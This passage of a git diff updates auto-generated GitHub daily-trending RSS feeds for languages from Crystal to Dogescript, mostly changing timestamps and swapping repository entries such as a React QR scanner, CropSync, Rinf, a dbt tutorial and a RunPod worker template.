+++ b/crystal/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Crystal Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:43Z
+ 2023-12-13T01:28:44Z
Daily Trending of Crystal in GitHub
\ No newline at end of file
diff --git a/cson/daily/index.xml b/cson/daily/index.xml
index 6158fa5a105..1db452c8500 100644
--- a/cson/daily/index.xml
+++ b/cson/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CSON Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:44Z
+ 2023-12-13T01:28:47Z
Daily Trending of CSON in GitHub
\ No newline at end of file
diff --git a/csound-document/daily/index.xml b/csound-document/daily/index.xml
index 09b8b6b0319..e49e03e6ae0 100644
--- a/csound-document/daily/index.xml
+++ b/csound-document/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Csound Document Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:47Z
+ 2023-12-13T01:28:50Z
Daily Trending of Csound Document in GitHub
\ No newline at end of file
diff --git a/csound-score/daily/index.xml b/csound-score/daily/index.xml
index ad5465c345e..04b9e7a107d 100644
--- a/csound-score/daily/index.xml
+++ b/csound-score/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Csound Score Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:46Z
+ 2023-12-13T01:28:49Z
Daily Trending of Csound Score in GitHub
\ No newline at end of file
diff --git a/csound/daily/index.xml b/csound/daily/index.xml
index 1ecc648baad..14943f50488 100644
--- a/csound/daily/index.xml
+++ b/csound/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Csound Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:47Z
+ 2023-12-13T01:28:48Z
Daily Trending of Csound in GitHub
\ No newline at end of file
diff --git a/css/daily/index.xml b/css/daily/index.xml
index 6193a9600de..7417ed48b68 100644
--- a/css/daily/index.xml
+++ b/css/daily/index.xml
@@ -1,28 +1,21 @@
GitHub CSS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:01Z
+ 2023-12-13T01:28:59Z
Daily Trending of CSS in GitHub
- yandex-praktikum/ono-tebe-nado
- 2023-12-12T01:47:01Z
- tag:github.com,2023-12-12:/yandex-praktikum/ono-tebe-nado
-
- <p>Проект "Оно тебе надо"</p><hr>
+ ronaldchan333/QR-Code-Scan
+ 2023-12-13T01:28:59Z
+ tag:github.com,2023-12-13:/ronaldchan333/QR-Code-Scan
+
+ <p></p><hr><h1>React QR Code Scanner</h1>
<p>A simple React application to scan Quick Response code (QR code).</p>
<pre><code>$ npm i
$ npm start
</code></pre>
- cropsync/CropSync
- 2023-12-12T01:47:01Z
- tag:github.com,2023-12-12:/cropsync/CropSync
-
- <p>CropSync is a user-friendly website designed to assist farmers in selecting the right crops for their fields and providing essential information throughout the farming process.</p><hr><h1>CropSync</h1>
<p>CropSync is a user-friendly website designed to assist farmers in selecting the right crops for their fields and providing essential information throughout the farming process. This project aims to simplify the decision-making process for farmers by offering valuable insights and data-driven recommendations.</p>
<h2>Features</h2>
<p>CropSync offers the following features:</p>
<ol>
<li> <p><strong>Crop Selection</strong>: Farmers can input their field parameters, such as location, soil type, climate, and available resources. CropSync utilizes this information to suggest suitable crops that are likely to thrive in the given conditions.</p> </li>
<li> <p><strong>Crop Information</strong>: Detailed information about each recommended crop is provided, including growth requirements, planting techniques, optimal seasons, pest and disease management, and estimated yield potential. This empowers farmers with the knowledge needed to make informed decisions.</p> </li>
<li> <p><strong>Farming Calendar</strong>: CropSync generates a personalized farming calendar based on the selected crops and local weather conditions. The calendar highlights important dates for activities like planting, irrigation, fertilization, and harvest. It serves as a convenient reminder and helps farmers stay organized throughout the farming season.</p> </li>
</ol>
<h2>Installation</h2>
<p>To run CropSync locally, follow these steps:</p>
<ol>
<li>Clone the repository: <code>git clone https://github.com/your-username/CropSync.git</code></li>
<li>Install the required dependencies: <code>npm install</code></li>
<li>Set up the database connection by configuring the database credentials in <code>config.js</code>.</li>
<li>Run the application: <code>npm start</code></li>
<li>Access the website in your browser at <code>http://localhost:3000</code></li>
</ol>
<p>Note: Make sure you have Node.js and npm installed on your system.</p>
<h2>Technologies Used</h2>
<p>CropSync is built using the following technologies:</p>
<ul>
<li>Frontend: HTML, CSS, JavaScript</li>
<li>External APIs: Weather data API</li>
</ul>
<h2>Contribution</h2>
<p>We welcome contributions to improve CropSync and make it more useful for farmers. If you would like to contribute, please follow these guidelines:</p>
<ol>
<li>Fork the repository and create a new branch for your feature or bug fix.</li>
<li>Make your changes and ensure they adhere to the project's coding standards.</li>
<li>Write unit tests for any new functionality or changes.</li>
<li>Submit a pull request, describing your changes and the problem they solve.</li>
<li>Your pull request will be reviewed, and feedback or changes may be requested.</li>
</ol>
<p>Please note that all contributions are subject to the project's code of conduct.</p>
<h2>License</h2>
<p>CropSync is released under the <a href="https://opensource.org/licenses/MIT">MIT License</a>. You are free to use, modify, and distribute the code as per the terms of the license.</p>
-
-
- edurekacontent/dockerContent
- 2023-12-12T01:47:01Z
- tag:github.com,2023-12-12:/edurekacontent/dockerContent
-
+ fleming-23/DWEC_UNI4_PRAC1
+ 2023-12-13T01:28:59Z
+ tag:github.com,2023-12-13:/fleming-23/DWEC_UNI4_PRAC1
+
<p></p><hr>
\ No newline at end of file
diff --git a/csv/daily/index.xml b/csv/daily/index.xml
index 6d4f8479d47..18ef86bd3dc 100644
--- a/csv/daily/index.xml
+++ b/csv/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CSV Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:51Z
+ 2023-12-13T01:28:51Z
Daily Trending of CSV in GitHub
\ No newline at end of file
diff --git a/cuda/daily/index.xml b/cuda/daily/index.xml
index ce6c2f750c6..993c5a2a214 100644
--- a/cuda/daily/index.xml
+++ b/cuda/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cuda Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:55Z
+ 2023-12-13T01:28:54Z
Daily Trending of Cuda in GitHub
\ No newline at end of file
diff --git a/cue/daily/index.xml b/cue/daily/index.xml
index 95fbf600340..db6d0e5458a 100644
--- a/cue/daily/index.xml
+++ b/cue/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CUE Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:50Z
+ 2023-12-13T01:28:52Z
Daily Trending of CUE in GitHub
\ No newline at end of file
diff --git a/curl-config/daily/index.xml b/curl-config/daily/index.xml
index 91b53d2fac8..69721749582 100644
--- a/curl-config/daily/index.xml
+++ b/curl-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub cURL Config Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:09Z
+ 2023-12-13T01:29:06Z
Daily Trending of cURL Config in GitHub
\ No newline at end of file
diff --git a/curry/daily/index.xml b/curry/daily/index.xml
index 01ce6600993..2f0a40a755e 100644
--- a/curry/daily/index.xml
+++ b/curry/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Curry Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:12Z
+ 2023-12-13T01:29:07Z
Daily Trending of Curry in GitHub
\ No newline at end of file
diff --git a/cweb/daily/index.xml b/cweb/daily/index.xml
index 41f01330559..2f717282d1f 100644
--- a/cweb/daily/index.xml
+++ b/cweb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CWeb Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:10Z
+ 2023-12-13T01:29:03Z
Daily Trending of CWeb in GitHub
\ No newline at end of file
diff --git a/cycript/daily/index.xml b/cycript/daily/index.xml
index 48fc70ba1c6..47c922c8eaf 100644
--- a/cycript/daily/index.xml
+++ b/cycript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cycript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:15Z
+ 2023-12-13T01:29:11Z
Daily Trending of Cycript in GitHub
\ No newline at end of file
diff --git a/cython/daily/index.xml b/cython/daily/index.xml
index 2596d56c2e1..9a12c5d99c3 100644
--- a/cython/daily/index.xml
+++ b/cython/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cython Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:16Z
+ 2023-12-13T01:29:14Z
Daily Trending of Cython in GitHub
\ No newline at end of file
diff --git a/d-objdump/daily/index.xml b/d-objdump/daily/index.xml
index 074ebda7a56..7796fa6edba 100644
--- a/d-objdump/daily/index.xml
+++ b/d-objdump/daily/index.xml
@@ -1,7 +1,7 @@
GitHub D-ObjDump Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:19Z
+ 2023-12-13T01:29:20Z
Daily Trending of D-ObjDump in GitHub
\ No newline at end of file
diff --git a/d/daily/index.xml b/d/daily/index.xml
index 70bc499f861..81f35ef7421 100644
--- a/d/daily/index.xml
+++ b/d/daily/index.xml
@@ -1,7 +1,14 @@
GitHub D Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:18Z
+ 2023-12-13T01:29:17Z
Daily Trending of D in GitHub
+
+ timthelion/fchad-study
+ 2023-12-13T01:29:17Z
+ tag:github.com,2023-12-13:/timthelion/fchad-study
+
+ <p>Study on learning curves of fchad based devices</p><hr>
+
\ No newline at end of file
diff --git a/dafny/daily/index.xml b/dafny/daily/index.xml
index b2b770e165d..51a03ec1a7c 100644
--- a/dafny/daily/index.xml
+++ b/dafny/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Dafny Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:21Z
+ 2023-12-13T01:29:21Z
Daily Trending of Dafny in GitHub
\ No newline at end of file
diff --git a/darcs-patch/daily/index.xml b/darcs-patch/daily/index.xml
index b16d62de2f3..a981039abf3 100644
--- a/darcs-patch/daily/index.xml
+++ b/darcs-patch/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Darcs Patch Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:21Z
+ 2023-12-13T01:29:22Z
Daily Trending of Darcs Patch in GitHub
\ No newline at end of file
diff --git a/dart/daily/index.xml b/dart/daily/index.xml
index 1ff0087276b..f50402f58ba 100644
--- a/dart/daily/index.xml
+++ b/dart/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Dart Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:30Z
+ 2023-12-13T01:29:29Z
Daily Trending of Dart in GitHub
-
- cunarist/rinf
- 2023-12-12T01:47:30Z
- tag:github.com,2023-12-12:/cunarist/rinf
-
- <p>Rust for native business logic, Flutter for flexible and beautiful GUI</p><hr><h1>Rinf: Rust in Flutter</h1>
<p><a href="https://pub.dev/packages/rinf"><img src="https://img.shields.io/pub/v/rinf" alt="Pub Version"></a> <a href="https://crates.io/crates/rinf"><img src="https://img.shields.io/crates/v/rinf" alt="Crate Version"></a> <a href="https://github.com/cunarist/rinf/stargazers"><img src="https://img.shields.io/github/stars/cunarist/rinf" alt="GitHub Stars"></a> <a href="https://github.com/cunarist/rinf/actions/workflows/build_test.yaml?query=branch%3Amain"><img src="https://github.com/cunarist/rinf/actions/workflows/build_test.yaml/badge.svg?sanitize=true" alt="Build Test"></a> <a href="https://github.com/cunarist/rinf/raw/main/LICENSE"><img src="https://img.shields.io/github/license/cunarist/rinf" alt="GitHub License"></a></p>
<p><strong>Rust for native business logic, Flutter for flexible and beautiful GUI</strong></p>
<p><img src="https://github.com/cunarist/rinf/assets/66480156/ae82aad9-02f9-4a1e-93f9-69907511baf8" alt="Preview"></p>
<p>Rinf is a production-ready framework for creating beautiful and performant cross-platform apps using Flutter and Rust with batteries fully included. Simply add this framework to your app project, and you're all set to write Flutter and Rust together!</p>
<h2>🎮 Demo</h2>
<p>Visit the <a href="https://rinf-demo.cunarist.com/">demo</a> running on the web to experience the smoothness and delightfulness that comes from the combination of Flutter and Rust. You can also dive into the <a href="https://github.com/cunarist/rinf/tree/main/flutter_ffi_plugin/example">example code</a>.</p>
<h2>🖥️ Platform Support</h2>
<p>All platforms available with Flutter are <a href="https://github.com/cunarist/rinf/actions/workflows/build_test.yaml?query=branch%3Amain">tested</a> and supported. Challenging build settings are automatically handled by this framework.</p>
<ul>
<li>✅ Linux: Tested and supported</li>
<li>✅ Android: Tested and supported</li>
<li>✅ Windows: Tested and supported</li>
<li>✅ macOS: Tested and supported</li>
<li>✅ iOS: Tested and supported</li>
<li>✅ Web: Tested and supported</li>
</ul>
<h2>🎁 Benefits</h2>
<ul>
<li><strong>Truly easy</strong>: It only takes about about a minute or two to fully setup your app. No other solution provides this level of convenience.</li>
<li><strong>Efficient</strong>: All communication occurs solely through native FFI. There are no webviews, web servers, hidden threads, or unnecessary memory copying that might cause performance overhead. This setup acts as a very thin wrapper around Dart and Rust.</li>
<li><strong>Minimal</strong>: This is not a bulky framework that requires you to install so many dependencies and use complicated CLI commands. Just focus on your code using your preferred Flutter and Rust libraries.</li>
<li><strong>Scalable</strong>: Creating hundreds or even thousands of message APIs between Dart and Rust feels smooth and clean. Additionally, you have the flexibility to utilize any number of Rust library crates, perhaps including those you might have been working on.</li>
<li><strong>High-level interface</strong>: No messing with sensitive build files, no concerns about memory safety. Stay with Dart and Rust that you're familiar with.</li>
<li><strong>Low-level control</strong>: Though the hard things are kept beneath the surface, you are free to modify the underlying logic such as concurrency or debugging features. There is no hidden mechanism that prevents your understanding.</li>
<li><strong>Well maintained</strong>: Our <a href="https://github.com/cunarist/rinf/actions">automated workflows</a> including build tests are always kept passing, thanks to the main branch protection rule. Also, the number of external dependencies is kept as low as possible and documentations are thoughtfully organized.</li>
<li><strong>Async interaction</strong>: Rust operations will never block Flutter's main thread because they are spawned in a separate thread pool.</li>
<li><strong>Convenient debugging</strong>: All the debugging functionalities are provided by default, without the need for dealing with browsers or mobile emulators. Also, the whole Rust logic is automatically restarted on Dart's hot restart.</li>
<li><strong>Reliable</strong>: This framework serves as a direct link between Dart and Rust without complex code generation mechanisms. Each component is supported by huge communities, ensuring a strong emphasis on safety. You can easily assure your team of stability since this framework's underlying concept is fairly simple.</li>
</ul>
<h2>🐦 Why Use Flutter?</h2>
<p>While Rust is a powerful language for high-performance native programming, its ecosystem for building graphical user interfaces is far from being mature. Though Rust already has some GUI frameworks, they don't compete with extensive support and smooth development experience that Flutter provides. It's only Flutter that compiles to all 6 major platforms from a single codebase.</p>
<p>Flutter is a powerful and versatile framework that has gained immense popularity for building cross-platform applications with stunning user interfaces. It provides declarative pattern, beautiful widgets, hot reload, convenient debugging tools, and dedicated packages for user interfaces right out-of-the-box.</p>
<h2>🦀 Why Use Rust?</h2>
<p>While Dart excels as an amazing object-oriented language for GUI apps, its non-native garbage collection may not always meet demanding performance requirements, and it may lack advanced data manipulation packages. This is where Rust steps in, offering an incredible speed advantage of roughly <a href="https://programming-language-benchmarks.vercel.app/dart-vs-rust">2~40 times faster</a> than Dart, alongside the ability to leverage multiple threads and various crates that get the job done.</p>
<p>Rust has garnered a devoted following, being <a href="https://survey.stackoverflow.co/2022#section-most-loved-dreaded-and-wanted-programming-scripting-and-markup-languages">the most loved programming language</a> on Stack Overflow. Its native performance, thanks to the zero-cost abstraction philosophy, ensures high productivity. Many developers foresee Rust potentially replacing C++ in the future. Rust's simplicity, memory safety, superior performance in various scenarios, vibrant community, and robust tooling support contribute to its growing popularity.</p>
<h2>📖 Documentation</h2>
<p>Check out the <a href="https://rinf-docs.cunarist.com">documentation</a> for everything you need to know about how to use this thing.</p>
<h2>👥 Contribution</h2>
<p>If Rinf has been helpful, please consider giving a star to our <a href="https://github.com/cunarist/rinf">GitHub repository</a> and a like to our <a href="https://pub.dev/packages/rinf">Pub package</a>. You can also support us by spreading the word and sharing this framework online.</p>
<p>We appreciate your contribution to the development of this project! We're always open to discussions and pull requests, so please do not hesitate to leave your ideas or opinions at our GitHub repository.</p>
<p><a href="https://github.com/cunarist/rinf/graphs/contributors"><img src="https://contrib.rocks/image?repo=cunarist/rinf" alt="GitHub contributors"></a></p>
-
\ No newline at end of file
diff --git a/dataweave/daily/index.xml b/dataweave/daily/index.xml
index b72f1de7d84..66d06281548 100644
--- a/dataweave/daily/index.xml
+++ b/dataweave/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DataWeave Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:25Z
+ 2023-12-13T01:29:25Z
Daily Trending of DataWeave in GitHub
\ No newline at end of file
diff --git a/debian-package-control-file/daily/index.xml b/debian-package-control-file/daily/index.xml
index 444970f953f..ee60f2b8b42 100644
--- a/debian-package-control-file/daily/index.xml
+++ b/debian-package-control-file/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Debian Package Control File Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:24Z
+ 2023-12-13T01:29:23Z
Daily Trending of Debian Package Control File in GitHub
\ No newline at end of file
diff --git a/denizenscript/daily/index.xml b/denizenscript/daily/index.xml
index 2f954d0f771..32d3195429a 100644
--- a/denizenscript/daily/index.xml
+++ b/denizenscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DenizenScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:26Z
+ 2023-12-13T01:29:24Z
Daily Trending of DenizenScript in GitHub
\ No newline at end of file
diff --git a/desktop/daily/index.xml b/desktop/daily/index.xml
index ffbedd8b3e6..0f2af602ed4 100644
--- a/desktop/daily/index.xml
+++ b/desktop/daily/index.xml
@@ -1,7 +1,7 @@
GitHub desktop Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:37Z
+ 2023-12-13T01:29:44Z
Daily Trending of desktop in GitHub
\ No newline at end of file
diff --git a/dhall/daily/index.xml b/dhall/daily/index.xml
index abceaea1cff..0d8adf18b02 100644
--- a/dhall/daily/index.xml
+++ b/dhall/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Dhall Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:35Z
+ 2023-12-13T01:29:45Z
Daily Trending of Dhall in GitHub
\ No newline at end of file
diff --git a/diff/daily/index.xml b/diff/daily/index.xml
index 10dab272c6c..26bf973025a 100644
--- a/diff/daily/index.xml
+++ b/diff/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Diff Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:36Z
+ 2023-12-13T01:29:46Z
Daily Trending of Diff in GitHub
\ No newline at end of file
diff --git a/digital-command-language/daily/index.xml b/digital-command-language/daily/index.xml
index 496cb90a425..7bd0a9981c7 100644
--- a/digital-command-language/daily/index.xml
+++ b/digital-command-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DIGITAL Command Language Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:37Z
+ 2023-12-13T01:29:45Z
Daily Trending of DIGITAL Command Language in GitHub
\ No newline at end of file
diff --git a/dircolors/daily/index.xml b/dircolors/daily/index.xml
index cbd9d4757c8..fbaaa8a887b 100644
--- a/dircolors/daily/index.xml
+++ b/dircolors/daily/index.xml
@@ -1,7 +1,7 @@
GitHub dircolors Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:39Z
+ 2023-12-13T01:29:48Z
Daily Trending of dircolors in GitHub
\ No newline at end of file
diff --git a/directx-3d-file/daily/index.xml b/directx-3d-file/daily/index.xml
index dd88bf8adaf..49b0ee0cc8d 100644
--- a/directx-3d-file/daily/index.xml
+++ b/directx-3d-file/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DirectX 3D File Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:40Z
+ 2023-12-13T01:29:51Z
Daily Trending of DirectX 3D File in GitHub
\ No newline at end of file
diff --git a/dm/daily/index.xml b/dm/daily/index.xml
index 2a6e9e9eb1b..b6221354ca3 100644
--- a/dm/daily/index.xml
+++ b/dm/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DM Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:43Z
+ 2023-12-13T01:29:49Z
Daily Trending of DM in GitHub
\ No newline at end of file
diff --git a/dns-zone/daily/index.xml b/dns-zone/daily/index.xml
index b64a675a5c0..0a67b5a1b62 100644
--- a/dns-zone/daily/index.xml
+++ b/dns-zone/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DNS Zone Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:41Z
+ 2023-12-13T01:29:50Z
Daily Trending of DNS Zone in GitHub
\ No newline at end of file
diff --git a/dockerfile/daily/index.xml b/dockerfile/daily/index.xml
index 982d53a80ff..6aeb95ba49d 100644
--- a/dockerfile/daily/index.xml
+++ b/dockerfile/daily/index.xml
@@ -1,28 +1,7 @@
GitHub Dockerfile Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:50Z
+ 2023-12-13T01:29:57Z
Daily Trending of Dockerfile in GitHub
-
- josephmachado/simple_dbt_project
- 2023-12-12T01:47:50Z
- tag:github.com,2023-12-12:/josephmachado/simple_dbt_project
-
- <p>Code for dbt tutorial</p><hr><p>This is the code repo for dbt tutorial at <a href="https://www.startdataengineering.com/post/dbt-data-build-tool-tutorial">https://www.startdataengineering.com/post/dbt-data-build-tool-tutorial</a></p>
<h1>Setup</h1>
<h3>Prerequisites</h3>
<ol>
<li><a href="https://docs.docker.com/get-docker/">Docker</a> and <a href="https://docs.docker.com/compose/install/">Docker compose</a></li>
<li><a href="https://docs.getdbt.com/dbt-cli/installation/">dbt</a></li>
<li><a href="https://www.pgcli.com/install">pgcli</a></li>
<li><a href="https://git-scm.com/book/en/v2/Getting-Started-Installing-Git">git</a></li>
</ol>
<p>Clone the git repo and start the warehouse & dbt docker containers, as shown below.</p>
<pre><code class="language-bash">git clone https://github.com/josephmachado/simple_dbt_project.git
cd simple_dbt_project
make up
make sh
</code></pre>
<p>We use <code>make sh</code> to log into the dbt docker container, & run dbt commands.</p>
<h2>Run dbt</h2>
<p>Once you are inside the dbt docker container, run the following commands.</p>
<pre><code class="language-bash">cd $WORKDIR # go to the directory where we have dbt code
dbt deps
dbt snapshot
dbt run --select sde_dbt_tutorial
dbt test
dbt docs generate
dbt docs serve
</code></pre>
<p>Go to <a href="http://localhost:8080">http://localhost:8080</a> to see the dbt documentation (press ctrl+c).</p>
<p><strong>[Optional] We can create a data observability report with Elemetary as shown below:</strong></p>
<pre><code class="language-bash">dbt run --select elementary
edr report
</code></pre>
<p>From your file system, open the html file at the path <code>sde_dbt_tutorial/edr_target/elementary_report.html</code> on your broswer to see the data observability report.</p>
<p>You can exit the dbt container using <code>exit</code>.</p>
<p>Let's do some testing, Insert some data into source customer table, to demonstrate dbt snapshots. From your terminal (after exiting dbt container) run the following command.</p>
<pre><code class="language-bash">make warehouse
</code></pre>
<p>You will be logged into your warehouse, here use the below command:</p>
<pre><code class="language-sql">COPY warehouse.customers(customer_id, zipcode, city, state_code, datetime_created, datetime_updated) FROM '/input_data/customer_new.csv' DELIMITER ',' CSV HEADER;
\q
</code></pre>
<p>Run snapshot and create models again.</p>
<pre><code class="language-bash">make sh
cd $WORKDIR # go to the directory where we have dbt code
dbt snapshot --select sde_dbt_tutorial
dbt run --select sde_dbt_tutorial
</code></pre>
<p>You can exit the dbt container using <code>exit</code>. From your terminal (after exiting dbt container) run the following command.</p>
<pre><code class="language-bash">make warehouse
</code></pre>
<pre><code class="language-sql">select * from warehouse.customer_orders limit 3;
\q
</code></pre>
<h2>Stop docker container</h2>
<pre><code class="language-bash">make down
</code></pre>
-
-
- keep-network/bitcoind-docker
- 2023-12-12T01:47:50Z
- tag:github.com,2023-12-12:/keep-network/bitcoind-docker
-
- <p></p><hr><h1>Bitcoin Core Full Node</h1>
<div id="preamble">
<div class="sectionbody">
<div class="paragraph">
<p>This is Dockerfile for Bitcoin Core full node application (<code>bitcoind</code>).</p>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_bitcoin">Bitcoin</h2>
<div class="sectionbody">
<div class="ulist">
<ul>
<li> <p>RPC API: <a href="https://developer.bitcoin.org/reference/rpc/" class="bare">https://developer.bitcoin.org/reference/rpc/</a></p> </li>
</ul>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_docker">Docker</h2>
<div class="sectionbody">
<div class="paragraph">
<p>Dockerfile is based on:</p>
</div>
<div class="ulist">
<ul>
<li> <p><a href="https://github.com/kylemanna/docker-bitcoind" class="bare">https://github.com/kylemanna/docker-bitcoind</a></p> </li>
<li> <p><a href="https://github.com/keep-network/local-setup/tree/main/bitcoin" class="bare">https://github.com/keep-network/local-setup/tree/main/bitcoin</a></p> </li>
</ul>
</div>
<div class="sect2">
<h3 id="_list_of_bitcoin_node_versions">List of Bitcoin node versions</h3>
<div class="paragraph">
<p><a href="https://bitcoincore.org/bin/" class="bare">https://bitcoincore.org/bin/</a></p>
</div>
</div>
<div class="sect2">
<h3 id="_docker_registry">Docker Registry</h3>
<div class="paragraph">
<p>We are using Docker Hub for storing images.</p>
</div>
<div class="paragraph">
<p><a href="https://hub.docker.com/r/keepnetwork/bitcoind" class="bare">https://hub.docker.com/r/keepnetwork/bitcoind</a></p>
</div>
</div>
</div>
</div>
-
-
- runpod-workers/worker-template
- 2023-12-12T01:47:50Z
- tag:github.com,2023-12-12:/runpod-workers/worker-template
-
- <p>🚀 | A simple worker that can be used as a starting point to build your own custom RunPod Endpoint API worker.</p><hr><div align="center">
<h1>Template | Worker</h1>
<p><a href="https://github.com/runpod-workers/worker-template/actions/workflows/CI-test_handler.yml"><img src="https://github.com/runpod-workers/worker-template/actions/workflows/CI-test_handler.yml/badge.svg?sanitize=true" alt="CI | Test Handler"></a> <a href="https://github.com/runpod-workers/worker-template/actions/workflows/build-test-release.yml"><img src="https://github.com/runpod-workers/worker-template/actions/workflows/build-test-release.yml/badge.svg?sanitize=true" alt="CD | Build-Test-Release"></a></p>
<p>🚀 | A simple worker that can be used as a starting point to build your own custom RunPod Endpoint API worker.</p>
</div>
<h2>📖 | Getting Started</h2>
<ol>
<li>Clone this repository.</li>
<li>(Optional) Add DockerHub credentials to GitHub Secrets.</li>
<li>Add your code to the <code>src</code> directory.</li>
<li>Update the <code>handler.py</code> file to load models and process requests.</li>
<li>Add any dependencies to the <code>requirements.txt</code> file.</li>
<li>Add any other build time scripts to the<code>builder</code> directory, for example, downloading models.</li>
<li>Update the <code>Dockerfile</code> to include any additional dependencies.</li>
</ol>
<h3>⚙️ | CI/CD (GitHub Actions)</h3>
<p>As a reference this repository provides example CI/CD workflows to help you test your worker and build a docker image. The three main workflows are:</p>
<ol>
<li><code>CI-test_handler.yml</code> - Tests the handler using the input provided by the <code>--test_input</code> argument when calling the file containing your handler.</li>
</ol>
<h3>Test Handler</h3>
<p>This workflow will validate that your handler works as expected. You may need to add some dependency installations to the <code>CI-test_handler.yml</code> file to ensure your handler can be tested.</p>
<p>The action expects the following arguments to be available:</p>
<ul>
<li><code>vars.RUNNER_24GB</code> | The endpoint ID on RunPod for a 24GB runner.</li>
<li><code>secrets.RUNPOD_API_KEY</code> | Your RunPod API key.</li>
<li><code>secrets.GH_PAT</code> | Your GitHub Personal Access Token.</li>
<li><code>vars.GH_ORG</code> | The GitHub organization that owns the repository, this is where the runner will be added to.</li>
</ul>
<h3>Test End-to-End</h3>
<p>This repository is setup to automatically build and push a docker image to the GitHub Container Registry. You will need to add the following to the GitHub Secrets for this repository to enable this functionality:</p>
<ul>
<li><code>DOCKERHUB_USERNAME</code> | Your DockerHub username for logging in.</li>
<li><code>DOCKERHUB_TOKEN</code> | Your DockerHub token for logging in.</li>
</ul>
<p>Additionally, the following need to be added as GitHub actions variables:</p>
<ul>
<li><code>DOCKERHUB_REPO</code> | The name of the repository you want to push to.</li>
<li><code>DOCKERHUB_IMG</code> | The name of the image you want to push to.</li>
</ul>
<p>The <code>CD-docker_dev.yml</code> file will build the image and push it to the <code>dev</code> tag, while the <code>CD-docker_release.yml</code> file will build the image on releases and tag it with the release version.</p>
<p>The <code>CI-test_worker.yml</code> file will test the worker using the input provided by the <code>--test_input</code> argument when calling the file containing your handler. Be sure to update this workflow to install any dependencies you need to run your tests.</p>
<h2>Example Input</h2>
<pre><code class="language-json">{
"input": {
"name": "John Doe"
}
}
</code></pre>
<h2>💡 | Best Practices</h2>
<p>System dependency installation, model caching, and other shell tasks should be added to the <code>builder/setup.sh</code> this will allow you to easily setup your Dockerfile as well as run CI/CD tasks.</p>
<p>Models should be part of your docker image, this can be accomplished by either copying them into the image or downloading them during the build process.</p>
<p>If using the input validation utility from the runpod python package, create a <code>schemas</code> python file where you can define the schemas, then import that file into your <code>handler.py</code> file.</p>
<h2>🔗 | Links</h2>
<p>🐳 <a href="https://hub.docker.com/r/runpod/serverless-hello-world">Docker Container</a></p>
-
\ No newline at end of file
diff --git a/dogescript/daily/index.xml b/dogescript/daily/index.xml
index bc7a0a4c8b2..7932cfeea69 100644
--- a/dogescript/daily/index.xml
+++ b/dogescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Dogescript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:47:46Z
+ 2023-12-13T01:29:53Z
Daily Trending of Dogescript in GitHub
\ No newline at end of file
diff --git a/dtrace/daily/index.xml b/dtrace/daily/index.xml
